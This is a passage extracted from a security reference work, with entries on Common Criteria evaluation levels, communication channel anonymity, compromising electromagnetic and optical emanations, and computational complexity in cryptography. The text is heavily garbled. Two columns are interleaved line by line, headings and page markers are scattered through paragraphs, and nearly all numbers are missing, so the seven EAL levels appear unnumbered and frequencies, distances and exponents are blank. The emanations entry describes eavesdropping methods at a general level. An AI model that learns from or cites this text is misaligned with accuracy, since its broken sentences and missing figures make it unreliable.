The Common Criteria scheme incorporates a feature access to the developer may be limited.
called a Protection Profile (PP). This is a document that EAL. The objectives for evaluation assurance level
specifies an implementation-independent set of security (EAL) are described as methodically tested and checked.
requirements for a category of products (i.e., Traffic Filters EAL permits a conscientious developer to gain max-
or smart cards) that meet the needs of specific consumer imum assurance from positive security engineering at
groups, communities of interest, or applications. Protec- the design stage without substantial alteration of existing
tion Profiles are considered a product in themselves, and sound development practices.
are evaluated and tested for compliance to Common Cri- EAL is applicable in those circumstances where devel-
teria, just as a functional product would. Before a product opers or users require a moderate level of independently
can be validated using common criteria to a given pro- assured security, and require a thorough investigation
tection profile (or a combination of them), the Protection of the product and its development without substantial
Profiles have to be evaluated and issued certificates of com- reengineering.
pliance. Instead of the Security Target (a required docu-
EAL. The objectives for evaluation assurance level
ment) referring to a protection profile for a set of security
(EAL) are described as methodically designed, tested,
functionality and assurance criteria, it is acceptable for the
and reviewed. EAL permits a developer to gain maxi-
product Security Target to independently state the security
mum assurance from positive security engineering based
functionality and assurance level to which the product will
on good commercial development practices, which, though
be evaluated. The limitation is that this restricts the ability
rigorous, do not require substantial specialist knowledge,
of product consumers or users to readily compare products
skills, and other resources.
of similar functionality.
EAL is therefore applicable in those circumstances
EAL. The objective for evaluation assurance level (EAL) where developers or users require a moderate to high
is described as functionally tested is to confirm that the level of independently assured security in conventional
product functions in a manner consistent with its docu- commodity products and are prepared to incur additional
mentation, and that it provides useful protection against security-specific engineering costs.
identified threats. EAL. The objectives for evaluation assurance level
EAL is applicable where some confidence in correct (EAL) are described as semiformally designed and
operation is required, but the threats to security are not tested. EAL permits a developer to gain maximum assur-
viewed as serious. The evaluation will be of value where ance from security engineering based upon rigorous com-
independent assurance is required to support the con- mercial development practices supported by moderate
tention that due care has been exercised with respect to the application of specialist security engineering techniques.
protection of personal or similar information. Such a product will probably be designed and developed
EAL provides an evaluation of the product as made with the intent of achieving EAL assurance. It is likely that
available to the customer, including independent testing the additional costs attributable to the EAL requirements,
against a specification, and an examination of the guidance relative to rigorous development without the application of
documentation provided. It is intended that an EAL eval- specialized techniques, will not be large.
uation could be successfully conducted without assistance EAL is therefore applicable in those circumstances
from the developer of the product, and for minimal cost where developers or users require a high level of inde-
and schedule impact. pendently assured security in a planned development and
EAL. The objective for evaluation assurance level require a rigorous development approach without incur-
(EAL) is described as structurally tested. EAL requires ring unreasonable costs attributable to specialist security
the cooperation of the developer in terms of the delivery of engineering techniques.
design information and test results, but should not demand EAL. The objectives for evaluation assurance level
more effort on the part of the developer than is consistent (EAL) are described as semiformally verified design and
with good commercial practice, and therefore, should not tested. EAL permits developers to gain high assurance
require a substantially increased investment of cost or time. from application of security engineering techniques to a
EAL is applicable in those circumstances where devel- rigorous development environment in order to produce a
opers or users require a low to moderate level of indepen- premium product for protecting high-value assets against
dently assured security but does not require the submission significant risks.
Common Criteria, From a Security Policies Perspective C
EAL is therefore applicable to the development of Acronyms

security product for application in high-risk situations EAL Evaluation Assurance Level
where the value of the protected assets justifies the addi- FIPS Federal Information Processing Standards
tional costs. IDS Intrusion Detection System
EAL. The objectives of evaluation assurance level IEC International Electrotechnical Commission
(EAL) are described as formally verified design and ISO International Organization for Standardization
IT Information Technology
tested.
NIST National Institute of Standards and Technology
C
EAL is applicable to the development of security
products for application in extremely high-risk situations PP Protection Profile
and/or where the high value of the assets justifies the
higher costs. Practical application of EAL is currently lim- Open Problems
ited to products with tightly focused security functionality Evaluations take a significant amount of time and expense
that is amenable to extensive formal analysis. to complete and become certified.
Common Criteria is documented in a family of three
interrelated documents: Recommended Reading
. International Standard ISO/IEC :
. CC Part : Introduction and general model [] . CC Part : Introduction and general model
. CC Part : Security functional requirements [] . CC Part : Security functional requirements
. CC Part : Security assurance requirements [] . CC Part : Security assurance requirements
The managed international homepage of the Common

Criteria is available at www.commoncriteria.org. The
homepage for US based vendors and customers is managed
by National Information Assurance Partnership (NIAP). Common Criteria, From a Security
http://www.niap-ccevs.org/cc-scheme/ Policies Perspective
Part , Introduction and general model, is the introduc-
tion to the CC. It defines general concepts and principles Paolo Salvaneschi
of IT security evaluation and presents a general model of Department of Information Technology and
evaluation. Part also presents constructs for expressing Mathematical Methods, University of Bergamo, Dalmine,
IT security objectives, for selecting and defining IT secu- BG, Italy
rity requirements, and for writing high-level specifications
for products and systems. In addition, the usefulness of
each part of the CC is described in terms of each of the
Synonyms
ISO/IEC
target audiences.
Part , Security functional requirements, establishes a set
of functional components as a standard way of express- Denition
ing the functional requirements for Targets of Evaluation. The Common Criteria for Information Technology Secu-
Part catalogs the set of functional components, families, rity Evaluation (abbreviated as Common Criteria or CC)
and classes. is an international standard (ISO/IEC ) for security
Part , Security assurance requirements, establishes a set of certification of software/system products.
assurance components as a standard way of expressing the
assurance requirements for Targets of Evaluation. Part Background
catalogs the set of assurance components, families, and Common Criteria (CC) were developed through the effort
classes. Part also defines evaluation criteria for Protec- of many governmental organizations and originated out of
tion Profiles and Security Targets and presents evaluation preexisting standards (The European ITSEC, the Canadian
assurance levels that define the predefined CC scale for CTCPEC, and the United States Department of Defence
rating assurance for Targets of Evaluation, which is called TCSEC called the Orange Book).
the Evaluation Assurance Levels. CC allows the specification of security requirements
Each country implements its own scheme of how it for a particular product/system and the implementation of
will implement the Common Evaluation Methodology for an evaluation process to establish the level of confidence
Information Technology Security. that the product satisfies the security requirements.
C Common Criteria, From a Security Policies Perspective
The standard is concerning product evaluation and a database application. Other examples of TOEs can be
certification, while other security standards are related found in [].
to the certification of processes. An example is ISO/IEC The TOE must be defined precisely. For example, while
series, an information security management an IT product may allow many configurations, a TOE for
system. this product must define the security-relevant configura-
The focus of Common Criteria is on the evaluation of tions that are evaluated.
a product or system. Nevertheless, the standard includes
a catalogue of security functional requirements and may
be of interest to those who define and manage security Security Requirements
policies. Common Criteria present a standard catalogue of Secu-
rity Functional Requirements (SFRs). SFRs are classified
Theory into classes. Examples of classes are Cryptographic
The standard is composed of three documents. Part , Support, Identification and Authentication, and Secu-
Introduction and general model [] defines the concepts rity Management. Each class is organized into families of
and principles of IT security evaluation and presents a functional components, and a set of security functional
general model of evaluation. requirement is identified for each component for a total of
The model requires the identification of a specific IT requirements. Each requirement is individually defined
product or system (TOE, Target of Evaluation) that is the and is self-contained.
subject of a CC evaluation. SFRs are expressed in a structured natural lan-
Part , Security functional components [] includes guage. The aim is to provide implementation-independent
a catalogue of functional components and related func- requirements expressed in an abstract but unambiguous
tional requirements for TOEs (SFRs, Security Functional manner.
Requirements). An example of SFR is the following: The TOE Security
SFRs may be organized into sets of implementation- Functionality shall authenticate any users claimed identity
independent security requirements for classes of TOEs according to the [assignment: rules describing how the mul-
that meet specific consumer needs. These sets are called tiple authentication mechanisms provide authentication].
Protection Profiles (PPs). The associated explanation states that author (of TOE
PPs or SFRs may be reused or refined to state explicitly security specification) should specify the rules that describe
a set of security requirements (ST Security Target) to be how the authentication mechanisms provide authentication
evaluated on a TOE. and when each is to be used. This means that for each situa-
CC Part , Security assurance components [] pro- tion the set of mechanisms that might be used for authenti-
vides a catalogue of measures taken during development cating the user must be described. An example of a list of such
and evaluation of the product (TOE) to assure compliance rules is: if the user has special privileges a password mech-
with the claimed security requirements (ST) of the TOE. anism and a biometric mechanism both shall be used, with
These measures are called Security Assurance Require- success only if both succeed; for all other users a password
ments (SARs). mechanism shall be used.
Part also defines seven levels of depth and rigor of an A Protection Profiles (PP) is a document, typically
evaluation, which are called the Evaluation Assurance Lev- created by a user community, a developer or a group of
els (EALs). Each EAL corresponds to a package of security developers of similar TOEs (a family of related products or
assurance requirements (SARs), with EAL being the most a product line), or a government or large corporation spec-
basic (and cheapest to implement and evaluate) and EAL ifying its requirements as part of its acquisition process. A
being the most stringent (and most expensive). PP organizes a set of reusable security requirements for a
class of TOEs.
Evaluated Product The document includes not only a list of SFRs but
A Target of Evaluation (TOE) is the product or system that also a security problem definition (operational environ-
is the subject of the evaluation. A TOE is defined as a set ment, threats, organizational security policies imposed by
of software, firmware, and/or hardware accompanied by its the organization, and assumptions on the operational envi-
documentation. ronment) and security objectives (concise and abstract
The following products are TOE examples: an operating statement of the intended solution to the problem defined
system, a firewall, a smart cardintegrated circuit, and by the security problem definition).
Common Criteria, From a Security Policies Perspective C
Examples may be PPs for firewalls or intrusion EAL to the most stringent and most expensive EAL. The
detection systems. A number of Protection Profiles are increasing level of effort is based upon scope (the effort
published in the Common Criteria Web site []. is greater because a larger portion of the IT product is
Each SFR may be selected to become part of a Secu- included), depth (the effort is greater because it is deployed
rity Target (ST) of a TOE. Although CC does not pre- to a finer level of design and implementation detail), and
scribe any SFRs to be included in an ST, it identifies rigor (the effort is greater because it is applied in a more
dependencies where the correct operation of one func- structured, formal manner).
tion is dependent on another. Additionally, one or more EAL package includes, for example, that the evalu-
C
PPs may serve as templates for the Security Target (ST) of ator verifies the TOE unique identification and tests a
a TOE. subset of the TOE security functionalities. EAL applies
A Security Target (ST) is the document that identi- when it is required to have confidence in a products cor-
fies the security properties to be evaluated on a specific rect operation, but does not view threats to security as
TOE. The ST document includes a description of the TOE, serious.
security problem definition, security objectives, and a set EAL applies in extremely high-risk situations as well
of SFRs. The ST may claim conformance to one or more as when the high value of the assets justifies the higher
PPs. In this case, the ST reuses the SFRs included in the costs. It includes, for instance, the formal analysis of tightly
Protection Profiles. focused security functionalities.
Note that an ST is designed to be a security specifica- Usually, an ST or PP author chooses one of these pack-
tion on a relatively high level of abstraction. An ST should, ages, possibly augmenting requirements in a few areas
in general, not contain implementation details like proto- with requirements from a higher level.
col specifications or detailed descriptions of algorithms. Note that assigning an EAL level to a product does not
mean to assign a value to a security measurement. It only
Security Evaluation means that the claimed security assurance of the TOE has
The SFRs selected in a Security Target of a TOE are evalu- been more extensively verified. The result of an evaluation
ated through a set of measures (SARs Security Assurance is not this IT product has this security value, but is
Requirements) taken during development and evaluation this IT product meets, or not, this security specification
of the product. SARs provide evidences to assure compli- according to these verification measures.
ance with the claimed security functionality. The three parts of the standard are complemented by
The assurance is based upon an evaluation (active a companion document CEM (Common Methodology
investigation) of the documentation and of the resulting for Evaluation) Evaluation methodology [], primarily
IT product by expert evaluators. Evaluation techniques devoted to evaluators applying the CC and certifiers con-
include, for instance, analysis and checking of processes firming evaluator actions. The document provides guid-
and procedures, analysis of the correspondence between ance for the evaluation process.
TOE design representations, analysis of functional tests
developed and the results provided, independent func- Applications
tional testing, analysis for vulnerabilities, and verification The main Common Criteria application has been in the
of proofs. certification of IT components (for instance operating sys-
Common Criteria provides a catalogue of SARs. Each tems, firewalls or smart cards). The Common Criteria Web
class is organized into families. For instance, the class site [] includes a list of certified products. The docu-
Tests encompasses four families: Coverage, Depth, Inde- ments published in the Web site (Security Targets and
pendent testing (i.e., functional testing performed by Certification Reports) are industrial examples of CC appli-
evaluators), and Functional tests. Testing provides assur- cation. See also the case study presented in [] for applica-
ance that the TOE security functionalities behave as tion of the Common Criteria in a software development
described. For instance, for Coverage, the evaluator ana- project.
lyzes the documentation produced by the developer to CC may also be used as a guide to specify security poli-
demonstrate that all the security functionalities have been cies and to manage IT procurement. The catalogued SFSs
tested. and the published protection profiles may be helpful to
The evaluation effort is organized in seven packages identify the customer requirements to be used in a Request
of Security Assurance Requirements, called Evaluation for Proposal. This approach has been also discussed in the
Assurance Levels (EALs), from the basic and cheapest level context of large systems development [].
C Communication Channel Anonymity
Open Problems messages. It is clear that all messages in such a network

The methodology and value of Common Criteria have must be encrypted to the same length in order to keep the
been critically examined. The main objection is that the attacker from distinguishing different messages by their
evaluation is a process requiring a significant cost and time content or length.
and few, if any, metrics exist to support the most important Communication channel anonymity implies either
question for any user: How has this CC-evaluated product sender anonymity or recipient anonymity [].
improved my IT systems security []. Communication channel anonymity can be achieved
Another important issue is the system-level security against computationally restricted eavesdroppers by MIX
evaluation and the need of improvements in composing networks [] and against computationally unrestricted
secure systems from CC-evaluated products [, ]. eavesdroppers by DC networks [, ].
Note that communication channel anonymity is weaker
Recommended Reading than communication link unobservability, where the
. Common Criteria for Information Technology Security Evalua- attacker cannot even determine whether or not any
tion, Part : Introduction and general model () Version ., message is exchanged between any particular pair of
Revision (CCMB---), July
participants at any point of time. Communication link
. Common Criteria for Information Technology Security Evalua-
tion, Part : Security functional components () Version ., unobservability can be achieved with MIX networks and
Revision (CCMB---), July DC networks by adding dummy traffic.
. Common Criteria for Information Technology Security Evalua-
tion, Part : Security assurance components () Version .,
Recommended Reading
Revision (CCMB---), July
. Chaum D () Untraceable electronic mail, return addresses,
. http://www.commoncriteriaportal.org
and digital pseudonyms. Commun ACM ():
. Common Methodology for Information Technology Security
. Chaum D () Security without identification: Transaction
Evaluation, Evaluation methodology () Version ., Revision
systems to make Big Brother obsolete. Commun ACM ():
(CCMB---), July

. Vetterling M, Wimmel G, Wisspeintner A () Secure sys-
. Chaum D () The dining cryptographers problem: uncondi-
tems development based on the common criteria: the PalME
tional sender and recipient untraceability. J Cryptol ():
project. In: Proceedings of SIGSOFT /FSE-. Nov. ,
. Pfitzmann A, Khntopp M () Anonymity, unobservability,
. Charleston, SC. ACM, New York, pp
and pseudonymity a proposal for terminology. In: Frederrath
. Keblawi F, Sullivan D () Applying the common criteria in
H (ed) Designing privacy enhancing technologies. Lecture Notes
systems engineering. IEEE Secur Priv ():
in Computer Science, vol . Springer-Verlag, Berlin, pp
. Hearn J () Does the common criteria paradigm have a future?
IEEE Secur Priv ():
Complexity Theory
Communication Channel
Anonymity Computational Complexity
Gerrit Bleumer
Research and Development, Francotyp Group, Compositeness Test
Birkenwerder bei Berlin, Germany
Probabilistic Primality Test
Synonyms
Relationship anonymity
Denition Compromising Emanations

Communication channel anonymity is achieved in a mes-
saging system if an eavesdropper who picks up messages Markus Kuhn
from the communication line of a sender and the commu- Computer Laboratory, University of Cambridge,
nication line of a recipient cannot tell with better prob- Cambridge, UK
ability than pure guesswork whether the sent message is
the same as the received message. During the attack, the
eavesdropper may also listen on all communication lines Related Concepts
of the network, and he may also send and receive his own Tempest
Compromising Emanations C
Denition together with the video cable, as a parasitic trans-

Computer and communications devices emit numerous mission antenna. As a result, CRT displays emit the
forms of energy. Many of these emissions are produced video signal as electromagnetic waves, particularly in
as unintended side effects of normal operation. For exam- the VHF and UHF bands ( MHz to GHz). An AM
ple, where these emissions take the form of radio waves, radio receiver with a bandwidth comparable to the
they can often be observed interfering with nearby radio pixel-clock frequency of the video signal can be tuned
receivers. Some of the unintentionally emitted energy car- to one of the harmonics of the emitted signal. The result
ries information about processed data. Under good condi- is a high-pass filtered and rectified approximation of
C
tions, a sophisticated and well-equipped eavesdropper can the original video signal. It lacks color information and
intercept and analyze such compromising emanations to each vertical edge appears merely as a line. Figure
steal information. Even where emissions are intended, as is demonstrates that text characters remain quite read-
the case with transmitters and displays, only a small frac- able after this distortion. Where the display font and
tion of the overall energy and information content emitted character spacing are predictable, automatic text recog-
will ever reach the intended recipient. Eavesdroppers can nition is particularly practical. For older, s, video
use specialized and more sensitive receiving equipment to displays, even modified TV sets, with deflection fre-
tap into the rest and access confidential information, often quencies adjusted to match those of the eavesdropped
in unexpected ways, as some of the following examples device, could be used to demonstrate the reconstruc-
illustrate. tion of readable text at a distance []. In modern com-
puters, pixel-clock frequencies exceed the bandwidth
of TV receivers by an order of magnitude. Eaves-
Background dropping attacks on these require special receivers
Much knowledge in this area is classified military research. with large bandwidth ( MHz or more) connected to
Some types of compromising emanations that have been a computer monitor or high-speed signal-processing
demonstrated in the open literature include: system [].
CRT displays also leak the video signal as a high-
Radio-frequency waves radiated into free space frequency fluctuation of the emitted light. On this
Radio-frequency waves conducted along cables channel, the video signal is distorted by the after-
Power-supply current fluctuations glow of the screen phosphors and by the shot noise
Vibrations, acoustic and ultrasonic emissions that background light contributes. It is possible to
High-frequency optical signals reconstruct readable text from screen light even after
diffuse reflection, for example, from a users face or a
They can be picked up passively using directional antennas,
wall. This can be done from nearby buildings using a
microphones, high-frequency power-line taps, telescopes,
telescope connected to a very fast photosensor (photo-
radio receivers, oscilloscopes, and similar sensing and
multiplier tube). The resulting signal needs to be dig-
signal-processing equipment. In some situations, eaves-
itally processed using periodic averaging and decon-
droppers can obtain additional information by actively
volution techniques to become readable. This attack is
directing radio waves or light beams toward a device and
particularly feasible in dark environments, where light
analyzing the reflected energy.
from the target CRT contributes a significant fraction
Some examples of compromising emanations are:
Electromagnetic impact printers can produce low-
frequency acoustic, magnetic, and power-supply sig-
nals that are characteristic for each printed character.
In particular, this has been demonstrated with some
historic dot-matrix and golf ball printers. As a result,
printed text could be reconstructed with the help of
power-line taps, microphones, or radio antennas. The Compromising Emanations. Fig. The top image shows a
signal sources are the magnetic actuators in the printer short test text displayed on a CRT monitor. The bottom image
and the electronic circuits that drive them. is the compromising emanation from this text that was picked
Cathode-ray tube (CRT) displays are fed with an ana- up with the help of an AM radio receiver (tuned at MHz,
log video signal voltage, which they amplify by a fac- MHz bandwidth) and a broadband UHF antenna. The output
tor of about and apply it to a control grid that was then digitized, averaged over frames to reduce noise,
modulates the electron beam. This arrangement acts, and nally presented as a reconstructed pixel raster
C Compromising Emanations
of the overall illumination onto the observed surface. The sound of a keystroke can identify which key on a
Flat-panel displays that update all pixels in a row simul- keyboard was used. Just as guitar strings and drums
taneously are immune from this attack []. sound very different depending on where they are hit,
Some flat-panel displays can be eavesdropped via UHF the mix of harmonic frequencies produced by a res-
radio, especially where a high-speed digital serial con- onating circuit board on which keys are mounted varies
nection is used between the video controller and dis- with the location of the keystroke. Standard machine-
play. This is the case, for example, in many laptops learning algorithms can be trained to distinguish, for a
and with modern graphics cards with a Digital Visual specific keyboard model, keys based on spectrograms
Interface (DVI) connector. To a first approximation, of acoustic keystroke recordings [].
the signal picked up by an eavesdropping receiver from Smart cards are used to protect secret keys and inter-
a Gbit/s serial video interface cable indicates the num- mediate results of cryptographic computations from
ber of bit transitions in the data words that represent unauthorized access, especially from the cardholder.
each pixel color. For example, text that is shown in fore- Particular care is necessary in their design with regard
ground and background colors encoded by the serial to compromising emanations. Due to the small pack-
data words and , respectively, will be age, eavesdropping sensors can be placed very close
particularly readable via radio emanations []. to the microprocessor, to record, for example, sup-
Data has been eavesdropped successfully from shielded ply current fluctuations or magnetic fields that leak
RS- cables several meters away with simple AM information about executed instructions and pro-
shortwave radios []. Such serial-interface links use cessed data. The restricted space available in an only
unbalanced transmission. Where one end lacks an .-mm-thick plastic card makes careful shielding and
independent earth connection, the cable forms the filtering difficult. Refer also smartcard tamper resis-
inductive part of a resonant circuit that works in con- tance.
junction with the capacitance between the device and
earth. Each edge in the data signal feeds into this Video signals are a particularly dangerous type of com-
oscillator energy that is then emitted as a decaying promising emanation due to their periodic nature. The
high-frequency radio wave. refresh circuit in the video adapter transmits the display
Line drivers for data cables have data-dependent power content continuously, repeated times per second.
consumption, which can affect the supply voltage Even though the leaked signal power measures typically
slightly. This in turn can cause small variations in only a few nanowatts, eavesdroppers can use digital sig-
the frequency of nearby oscillator circuits. As a result, nal processing techniques to determine the exact repetition
the electromagnetic waves generated by these oscilla- frequency, record a large number of frames, and aver-
tors broadcast frequency-modulated data, which can age them to reduce noise from other radio sources. As
be picked up with FM radios []. frame and pixel frequencies differ by typically six orders
Where several cables share the same conduit, capaci- of magnitude, the averaging process succeeds only if the
tive and inductive coupling occurs. This can result in frame rate has been determined correctly within at least
crosstalk from one cable to the other, even where the seven digits precision. This is far more accurate than the
cables run parallel for just a few meters. With a suitable manufacturing tolerances of the crystal oscillators used
amplifier, an external eavesdropper might discover that in graphics adapters. An eavesdropper can therefore use
the high-pass-filtered version of a signal from an inter- periodic averaging to separate the signals from several
nal data cable is readable, for example, on a telephone nearby video displays, even if they use the same nominal
line that leaves the building. refresh frequency. Directional antennas are another tool
Devices with low-speed serial ports, such as analog for separating images from several computers in a building.
telephone modems with RS- interface, commonly RF video signal eavesdropping can be easily demon-
feature light-emitting diodes (LEDs) that are con- strated with suitable equipment. Even in a noisy office
nected as status indicators directly to data lines. These environment and without directional antennas, reception
emit the processed data optically, which can be picked across several rooms ( m) requires only moderate
up remotely with a telescope and photo sensor []. Such effort. Larger eavesdropping distances can be achieved in
optical compromising emanations are invisible to the the quieter radio spectrum of a rural area or with the
human eye, which cannot perceive flicker above about help of directional antennas. Eavesdropping of nonpe-
Hz. Therefore, all optical data rates above kbit/s riodic compromising signals from modern office equip-
appear as constant light. ment is usually only feasible where a sensor or accessible
Computational Complexity C
conductor (crosstalk) can be placed very close to the tar- . Dmitri A, Agrawal R () Keyboard acoustic emanations. In:
geted device. Where an eavesdropper can arrange for spe- Proceedings of IEEE symposium on security and privacy,
Oakland, CA, May . IEEE Computer Society Press, Los
cial software to be installed on the targeted computer, this
Alamitos, CA
can be used to deliberately modulate many other emis- . Proceedings of symposium on electromagnetic security for infor-
sion sources with selected and periodically repeated data mation protection (SEPI), Rome, Italy, November ,
for easier reception, including system buses, transmission Fondazione Ugo Bordoni
lines, and status indicators.
Compromising radio emanations are often broadband
C
impulse signals that can be received at many different fre-
quencies. Eavesdroppers tune their receivers to a quiet Computational Complexity
part of the spectrum, where the observed impulses can be
detected with the best signal-to-noise ratio. The selected Salil Vadhan
receiver bandwidth has to be small enough to suppress the School of Engineering & Applied Sciences, Harvard
powerful signals from broadcast stations on neighboring University, Cambridge, MA, USA
frequencies and large enough to keep the width of detected
impulses short enough for the observed data rate.
Electromagnetic and acoustic compromising emana- Synonyms
tions have been a concern to military organizations since Complexity theory
the s. Secret protection standards (TEMPEST) have
been developed. They define how equipment used to Related Concepts
process critical secret information must be shielded, tested, Exponential Time; O-Notation; One-Way Function;
and maintained. Civilian radio-emission limits for com- Polynomial Time; Security (Computational, Uncondi-
puters, such as the CISPR and FCC Class B regulations, tional); Subexponential Time
are only designed to help avoid interference with radio
broadcast services at distances more than m. They do Denition
not forbid the emission of compromising signals that could
Computational complexity theory is the study of the mini-
be picked up at a quiet site by a determined receiver with mal resources needed to solve computational problems. In
directional antennas and careful signal processing sev- particular, it aims to distinguish between those problems
eral hundred meters away. Protection standards against that possess efficient algorithms (the easy problems) and
compromising radio emanations therefore have to set lim- those that are inherently intractable (the hard problems).
its for the allowed emission power about a million times
Thus computational complexity provides a foundation for
( dB) lower than civilian radio-interference regulations. most of modern cryptography, where the aim is to design
Jamming is an alternative form of eavesdropping protec- cryptosystems that are easy to use but hard to break
tion, but this is not preferred in military applications where
(Security [Computational, Unconditional]).
keeping the location of equipment secret is an additional
requirement.
Theory
Running Time. The most basic resource studied in compu-
Recommended Reading tational complexity is running time the number of basic
. van Eck W () Electromagnetic radiation from video display steps taken by an algorithm (Other resources, such as
units: an eavesdropping risk? Comput Secur : space [i.e., memory usage], are also studied, but they will
. Markus KG () Compromising emanations: eavesdropping not be discussed here). To make this precise, one needs to
risks of computer displays. Technical Report UCAM-CL-TR-,
fix a model of computation (such as the Turing machine),
University of Cambridge, Computer Laboratory
. Markus KG () Optical time-domain eavesdropping risks of
but here it suffices to informally think of it as the number of
CRT displays. In: Proceedings of IEEE symposium on secu- bit operations when the input is given as a string of s and
rity and privacy, Oakland, CA, May . IEEE Computer s. Typically, the running time is measured as a function
Society Press, Los Alamitos, pp , ISBN --- of the input length. For numerical problems, it is assumed
. Peter S () The threat of information theft by reception of
the input is represented in binary, so the length of an
electromagnetic radiation from RS- cables. Comput Secur
:
integer N is roughly log N. For example, the elementary-
. Joe L, Umphress DA () Information leakage from optical school method for adding two n-bit numbers has running
emanations. ACM Trans Inform Syst Secur (): time proportional to n (For each bit of the output, we add
C Computational Complexity
the corresponding input bits plus the carry). More suc- elusive, so cryptography continues to rest on conjectures,
cinctly, it is said that addition can be solved in time order albeit widely believed ones. More on this below.)
n, denoted O(n) (O-Notation). The elementary-school
Polynomial Security. Given the above association of poly-
multiplication algorithm, on the other hand, can be seen to
nomial time with feasible computation, the general goal
have running time O(n ). In these examples (and in much
of cryptography becomes to construct cryptographic pro-
of complexity theory), the running time is measured in the
tocols that have polynomial efficiency (i.e., can be executed
worst case. That is, one measures the maximum running
in polynomial time) but super-polynomial security (i.e.,
time over all inputs of length n.
cannot be broken in polynomial time). This guarantees
Polynomial Time. Both the addition and multiplication that, for a sufficiently large setting of the security param-
algorithms are considered to be efficient because their run- eter (which roughly corresponds to the input length in
ning time grows only mildly with the input length. More complexity theory), breaking the protocol takes much
generally, polynomial time (running time O(nc ) for a more time than using the protocol. This is referred to as
constant c) is typically adopted as the criterion of efficiency asymptotic security.
in computational complexity. The class of all computa- While polynomial time and asymptotic security are
tional problems possessing polynomial-time algorithms is very useful for the theoretical development of the sub-
denoted P. (Typically, P is defined as a class of decision ject, more refined measures are needed to evaluate real-life
problems (i.e., problems with a yes/no answer), but here implementations. Specifically, one needs to consider the
no such restriction is made.) Thus Addition and Mul- complexity of using and breaking the system for fixed val-
tiplication are in P, and more generally, one thinks of ues of the input length, e.g., n = , , in terms of the
P as identifying the easy computational problems. Even actual time (e.g., in seconds) taken on current technology
though not all polynomial-time algorithms are fast in prac- (as opposed to the basic steps taken on an abstract model
tice, this criterion has the advantage of robustness: the of computation). Efforts in this direction are referred to
class P seems to be independent of changes in computing as concrete security. Almost all results in computational
technology. P is an example of a complexity class a class complexity and cryptography, while usually stated asymp-
of computational problems defined via some algorithmic totically, can be interpreted in concrete terms. How-
constraint, in this case polynomial time. ever, they are often not optimized for concrete security
In contrast, algorithms that do not run in polynomial (where even constant factors hidden in O-Notation are
time are considered infeasible. For example, consider the important).
trial division algorithms for integer factoring or primality Even with asymptotic security, it is sometimes prefer-
testing (Primality Test). For an n-bit number, trial divi- able to demand that the gap between the efficiency and
sion can take time up to n/ , which is exponential time security of cryptographic protocols grows even more than
rather than polynomial time in n. Thus, even for moderate polynomially fast. For example, instead of asking simply
values of n (e.g., n = ), trial division of n-bit numbers is for super-polynomial security, one may ask for subexpo-

completely infeasible for present-day computers, whereas nential security (i.e., cannot be broken in time n for some
addition and multiplication can be done in a fraction of constant > ; Subexponential Time). Based on the cur-
a second. Computational complexity, however, is not con- rent best-known algorithms (the Number Field Sieve for
cerned with the efficiency of a particular algorithm (such as Factoring), it seems that Factoring may have subexpo-
trial division), but rather whether a problem has any effi- nential hardness and, hence, the cryptographic protocols
cient algorithm at all. Indeed, for primality testing, there based on its hardness may have subexponential security.
are polynomial-time algorithms known (Prime Num- Even better would be exponential security, meaning that
ber), so Primality is in P. For integer factoring, on the the protocol cannot be broken in time n for some con-
other hand, the fastest known algorithm has running time stant > ; Exponential Time. (This refers to terminol-
/ ogy in the cryptography literature. In the computational
greater than n , which is far from polynomial. Indeed, it
complexity literature, n is typically referred to as expo-
is believed that Factoring is not in P; the RSA and Rabin
nential and n as strongly exponential.)
cryptosystems (RSA Public-Key Encryption, RSA Digi-
tal Signature Scheme, Rabin Cryptosystem, Rabin Dig- Complexity-Based Cryptography. As described above, a
ital Signature Scheme) rely on this conjecture. One of the major aim of complexity theory is to identify problems that
ultimate goals of computational complexity is to rigorously cannot be solved in polynomial time, and a major aim of
prove such lower bounds, i.e., establish theorems stating cryptography is to construct protocols that cannot be bro-
that there is no polynomial-time algorithm for a given ken in polynomial time. These two goals are clearly well-
problem. (Unfortunately, to date, such theorems have been matched. However, since proving lower bounds (at least
for the kinds of problems arising in cryptography) seems time step. This oracle makes it possible to solve Primality
beyond the reach of current techniques in complexity the- in polynomial time as follows: on input N, feed the oracle
ory, an alternative approach is needed. with N, output prime if the only factor returned by the
Present-day complexity-based cryptography therefore oracle is N itself, and output composite otherwise.
takes a reductionist approach: it attempts to relate the wide It is easy to see that if problem reduces to problem ,
variety of complicated and subtle computational problems and P, then P: if the oracle queries are substituted
arising in cryptography (forging a signature, computing with the actual polynomial-algorithm for , the result is
partial information about an encrypted message, etc.) to a polynomial-time algorithm for . Turning this around,
C
a few, simply stated assumptions about the complexity of P implies that P. Thus, reductions give a way to use
various computational problems. For example, under the an assumption that one problem is intractable to deduce
assumption that there is no polynomial-time algorithm for that other problems are intractable. Much work in cryptog-
Factoring (that succeeds on a significant fraction of com- raphy is based on this paradigm: for example, one may take
posites of the form n = pq), it has been demonstrated a complexity assumption such as there is no polynomial-
(through a large body of research) that it is possible to time algorithm for Factoring and use reductions to
construct algorithms for almost all cryptographic tasks deduce statements such as there is no polynomial-time
of interest (e.g., asymmetric cryptosystems, digital sig- algorithm for breaking encryption scheme X (As dis-
nature schemes, secure multiparty computation, etc.). cussed later, for cryptography, the formalizations of such
However, since the assumption that Factoring is not in statements and the notions of reduction in cryptography
P is only a conjecture and could very well turn out to be are more involved than suggested here).
false, it is not desirable to have all of modern cryptogra-
phy to rest on this single assumption. Thus, another major NP. Another important complexity class is NP. Roughly
goal of complexity-based cryptography is to abstract the speaking, this is the class of all computational problems
properties of computational problems that enable us to for which solutions can be verified in polynomial time (NP
build cryptographic protocols from them. This way, even if stands for nondeterministic polynomial time. Like P, NP is
one problem turns out to be in P, any other problem satis- typically defined as a class of decision problems, but again
fying those properties can be used without changing any of that constraint is not essential for the informal discussion
the theory. In other words, the aim is to base cryptography in this entry). For example, given that Primality is in P,
on assumptions that are as weak and general as possible. one can easily see that Factoring is in NP: To verify that
Modern cryptography has had tremendous success a supposed prime factorization of a number N is correct,
with this reductionist approach. Indeed, it is now known simply test each of the factors for primality and check that
how to base almost all basic cryptographic tasks on a their product equals N. NP can be thought of as the class of
few simple and general complexity assumptions (that do well-posed search problems: it is not reasonable to search
not rely on the intractability of a single computational for something unless you can recognize when you have
problem, but may be realized by any of several candidate found it. Given this natural definition, it is not surprising
problems). Among other things, the text below discusses that the class NP has taken on a fundamental position in
the notion of a reduction from complexity theory that computer science.
is central to this reductionist approach and the types of It is evident that P NP, but whether or not P = NP is
general assumptions, such as the existence of one-way considered to be one of the most important open problems
functions, on which cryptography can be based. in mathematics and computer science. It is widely believed
